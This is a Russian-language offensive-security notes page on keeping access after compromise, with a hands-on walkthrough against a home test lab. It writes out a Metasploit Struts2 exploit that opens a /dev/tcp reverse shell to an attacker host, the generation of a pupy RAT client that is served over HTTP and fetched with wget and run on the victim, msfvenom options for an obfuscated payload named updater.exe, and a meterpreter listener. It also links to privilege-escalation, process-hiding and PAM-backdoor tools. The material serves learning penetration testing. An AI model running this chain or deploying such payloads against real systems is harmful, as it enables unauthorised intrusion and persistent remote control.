# Общая информация и практика

**Определения**

Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после  
перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ.

Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности.

MITRE ATT&amp;CK (Adversarial Tactics, Techniques, and Common Knowledge) - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&amp;CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности.

Обратный shell - тип консоли, соединяющейся с сервером и предоставляющей доступ к своей консоли.

Bind shell - консоль, запущенная на некотором порту.

**Дополнительно**

- Популярные [способы закрепления](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md)
- [Обзор](https://habr.com/ru/post/568298/) подходов к закреплению на русском
- Использование persistence модуля в [фреймворке Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/local/service_persistence.md).

Методики privesc:

- [Book.hacktricks Privilege-Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
- [Privilege-Escalation](https://github.com/Ignitetechnologies/Privilege-Escalation)
- [Container-breakouts-part1](https://blog.nody.cc/posts/container-breakouts-part1/)

Полезные инструменты и техники:

- [Upgrading simple shells to fully interactive ttys](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)
- [linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- [linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration)
- [3snake](https://github.com/blendin/3snake)
- [pspy](https://github.com/DominicBreuker/pspy)
- [libprocesshider](https://github.com/gianlucaborello/libprocesshider)
- [pambd](https://github.com/ociredefz/pambd)
- [sucrack](https://github.com/hemp3l/sucrack)

**Алгоритм закрепления доступа**

**Процесс:**

<table border="1" id="bkmrk-%D0%A1%D1%82%D0%B0%D1%80%D1%82%D0%BE%D0%B2%D1%8B%D0%B5-%D1%83%D1%81%D0%BB%D0%BE%D0%B2%D0%B8%D1%8F-%D0%94%D0%B5" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 24.9106%;"></col><col style="width: 48.8592%;"></col><col style="width: 26.2302%;"></col></colgroup><thead><tr><td class="align-center">Стартовые условия</td><td class="align-center">Действия</td><td class="align-center">Результат</td></tr></thead><tbody><tr><td>Рабочая уязвимость

</td><td>Поднять сервер приема соединений

Эксплуатировать уязвимость на атакуемом сервере для запуска соединения

</td><td>Обратный shell</td></tr><tr><td>Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...)

</td><td>Создание сервера для обработки соединений

Создание / использование существующего скрипта/эксплоита

</td><td>Эксплоит</td></tr><tr><td>Обратный shell

Эксплоит

</td><td>Метод в соответствии со способом закрепления

</td><td>Устойчивый контроль</td></tr></tbody></table>

**Способы закрепления доступа:**

- Использовать учетные данные на скомпроментированной системе
- Изменение в легитимные механизмы доступа.
- Внесение изменений в сервисы (добавляется нагрузка)
- Изменение ядра или загрузчика системы

**Обратный shell**

**Генерация команд для получения обратной консоли**

Ресурс [https://www.revshells.com/](https://www.revshells.com/) позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP &amp; port указывается адрес системы, к которой скомпроментированная система будет подключаться.

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/image.png)

В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе.

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/xbpimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/xbpimage.png)

Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу.

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/FiHimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/FiHimage.png)

Эту строку добавляем как параметр к нагрузке.

Запускаем [тестовый стенд](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/testovyi-stend "Тестовый стенд") уязвимого приложения.

Запускаем на 189 сервер

```
nc -lvnp 9004
```

Эксплуатация базовой уязвимости

```
$ msfconsole
msf6> use exploit/multi/http/struts2_code_exec_showcase
msf6> set RHOSTS 192.168.1.192
msf6> set TARGETURI /integration/saveGangster.action
msf6> set PAYLOAD cmd/unix/generic
msf6> set CMD 'sh -i >& /dev/tcp/192.168.1.189/9004 0>&1'
msf6> exploit
```

Теперь в консоли с nc мы увидим shell удаленной системы.

**Создание нагрузки в pupy.**

Из 4 перечисленных способов закрепления доступа попробуем 3 вариант.

Remote admin toolkit (RAT). Рассмотрим pupy. Python реализация, полностью в оперативной памяти. Вот только уже дохлый проект.

 Запускаем контейнер pupy RAT server.

```
docker run -d --rm -v /tmp/projects:/projects -p 2022:22 -p 8443:8443 --name pupy alxchk/pupy:unstable
```

Создаем ssh ключ для взаимодействия с RAT сервером.

```
ssh-keygen 
#все значения по умолчанию, в конце будет имя ключа
```

Копируем созданный ключ в директорию ключей pupy

```
cp ~/.ssh/id_ed25519.pub /tmp/projects/keys/authorized_keys
```

Подключаемся к pupy

```
ssh -i ~/.ssh/id_rsa -p 2022 pupy@127.0.0.1
```

Генерируем клиента.

```
gen -f client -O linux -A x64 connect --host 192.168.1.189:8443
```

Клиент сохранился по адресу \[+\] OUTPUT\_PATH: /projects/default/output/pupyx64.yLcu40.lin

Для простой передачи на запускаем http сервер из этой директории

```
cd /tmp/projects/default/output/
python3 -m http.server 3000
```

и из обратного shell скачиваем

```
wget http://192.168.1.189:3000/pupyx64.yLcu40.lin
```

Делаем исполняемым файл и запускаем

```
chmod +x pupy*
./pupy*
```

Теперь в консоли pupy можно увидеть сессию

```
>> sessions
id  user  hostname      platform  release              os_arch  proc_arch  intgty_lvl  address        
------------------------------------------------------------------------------------------------------
1   root  186cff64fb1e  Linux     6.12.43+deb13-amd64  x86_64   64bit      High        192.168.1.192  
```

**Создание нагрузки в MSF**

**Msfvenom**

Отдельная утилита создания шифрованной нагрузки. Параметры:

<table border="1" id="bkmrk--a-%D0%90%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0.-%D0%9D%D0%B0%D0%BF%D1%80" style="border-collapse: collapse; width: 100%; height: 178.8px;"><colgroup><col style="width: 30.1786%;"></col><col style="width: 69.9406%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td style="height: 29.8px;">-a</td><td style="height: 29.8px;">Архитектура. Например -a x86</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">--platform</td><td style="height: 29.8px;">Платформа. Например --platform windows </td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">-p</td><td style="height: 29.8px;">Нагрузка -p windows/meterpreter/reverce\_tcp</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">LHOST=,LPORT=</td><td style="height: 29.8px;">LHOST=192.168.1.15</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">-e</td><td style="height: 29.8px;">Обфускатор. -e x86/shikata\_ga\_nai</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">-f</td><td style="height: 29.8px;">Формат выходного файла -f exe</td></tr><tr><td>-o </td><td>Место сохранения файла -o /root/test/updater.exe</td></tr></tbody></table>

Команда для запуска сервера обратных соединений:

```
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.15; set LPORT 8080; run; exit -y"
```